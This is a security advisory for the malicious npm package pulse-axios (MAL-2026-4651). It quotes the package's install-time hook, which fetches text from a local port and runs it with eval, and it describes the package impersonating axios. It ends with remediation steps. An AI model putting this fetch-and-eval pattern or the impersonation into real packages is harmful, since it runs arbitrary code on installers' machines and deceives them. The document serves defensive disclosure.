# MAL-2026-4651: Malicious code in pulse-axios (npm)


- **Type:** Malicious package
- **Package:** `pulse-axios` (npm)
- **Published:** 20 May 2026

## What is MAL-2026-4651?

MAL-2026-4651 is a malicious package in pulse-axios, published on 20 May 2026. 

### Official description

pulse-axios@1.16.1 declares a postinstall hook (`node./lib/core/eval.js`) that on `npm install` issues `fetch('http://localhost:3000/download/data')`, reads the response body as text, and passes it to `eval` inside an async IIFE: `await eval(\`(async () => {\n${datab2}\n})();\`)`. Errors are silently swallowed in an empty catch. Any bytes returned by whatever process is listening on port 3000 at install time — including any local attacker process, a co-installed malicious package's helper, or a developer-staging payload server — execute with the installer's privileges. The package additionally impersonates the legitimate `axios` package: `name: pulse-axios`, description claims to be "a faster and better version of axios", `author` is set to `Matt Zabriskie` (the real axios maintainer), `repository.url` points to `https://github.com/axios/axios.git`, and `homepage` is `https://axios-http.com`. The metadata theft is designed to fool installers into believing this is a legitimate axios variant. Combined, the package is a typosquat lure that ships an install-time RCE primitive.

## What should I do about MAL-2026-4651?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-4651 is a malicious package: pulse-axios (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-4651/ (Markdown: https://insights.sbomify.com/MAL-2026-4651/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-4651

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-4651/
Summaries are generated and may contain mistakes; the official description above is the record.